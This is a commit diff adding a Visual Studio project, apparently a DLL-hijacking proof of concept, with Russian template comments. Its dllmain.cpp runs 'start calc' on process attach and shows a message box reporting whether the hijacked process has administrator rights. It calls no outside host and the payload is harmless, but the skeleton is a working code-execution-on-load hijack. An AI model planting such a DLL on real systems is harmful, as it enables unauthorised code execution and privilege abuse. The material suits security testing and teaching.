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ZemlyakovDmitry authored May 7, 2022
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31 changes: 31 additions & 0 deletions dll-hijack.sln
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Microsoft Visual Studio Solution File, Format Version 12.00
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VisualStudioVersion = 17.1.32421.90
MinimumVisualStudioVersion = 10.0.40219.1
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EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|x64 = Debug|x64
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HideSolutionNode = FALSE
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GlobalSection(ExtensibilityGlobals) = postSolution
SolutionGuid = {C9BDDF28-ADFA-4862-8C9B-F60FEEFD90E5}
EndGlobalSection
EndGlobal
169 changes: 169 additions & 0 deletions dll-hijack/dll-hijack.vcxproj
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<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
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<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
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<WarningLevel>Level3</WarningLevel>
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<PreprocessorDefinitions>WIN32;_DEBUG;DLLHIJACK_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)</PreprocessorDefinitions>
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33 changes: 33 additions & 0 deletions dll-hijack/dll-hijack.vcxproj.filters
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<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<Filter Include="Исходные файлы">
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
<Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
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<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
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<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
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<Filter>Исходные файлы</Filter>
</ClCompile>
<ClCompile Include="pch.cpp">
<Filter>Исходные файлы</Filter>
</ClCompile>
</ItemGroup>
</Project>
4 changes: 4 additions & 0 deletions dll-hijack/dll-hijack.vcxproj.user
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<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<PropertyGroup />
</Project>
28 changes: 28 additions & 0 deletions dll-hijack/dllmain.cpp
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// dllmain.cpp : Определяет точку входа для приложения DLL.
#include "pch.h"
#include <windows.h>
#include <shlobj.h>

BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
system("start calc");
if (IsUserAnAdmin()) {
MessageBoxA(NULL, "poxeked, i have admin privileges", "poxek", MB_ICONWARNING);
}
else {
MessageBoxA(NULL, "poxeked, but i don\'t have admin privileges", "poxek", MB_ICONERROR);
}
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}

5 changes: 5 additions & 0 deletions dll-hijack/framework.h
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#pragma once

#define WIN32_LEAN_AND_MEAN // Исключите редко используемые компоненты из заголовков Windows
// Файлы заголовков Windows
#include <windows.h>
5 changes: 5 additions & 0 deletions dll-hijack/pch.cpp
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// pch.cpp: файл исходного кода, соответствующий предварительно скомпилированному заголовочному файлу

#include "pch.h"

// При использовании предварительно скомпилированных заголовочных файлов необходим следующий файл исходного кода для выполнения сборки.
13 changes: 13 additions & 0 deletions dll-hijack/pch.h
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// pch.h: это предварительно скомпилированный заголовочный файл.
// Перечисленные ниже файлы компилируются только один раз, что ускоряет последующие сборки.
// Это также влияет на работу IntelliSense, включая многие функции просмотра и завершения кода.
// Однако изменение любого из приведенных здесь файлов между операциями сборки приведет к повторной компиляции всех(!) этих файлов.
// Не добавляйте сюда файлы, которые планируете часто изменять, так как в этом случае выигрыша в производительности не будет.

#ifndef PCH_H
#define PCH_H

// Добавьте сюда заголовочные файлы для предварительной компиляции
#include "framework.h"

#endif //PCH_H

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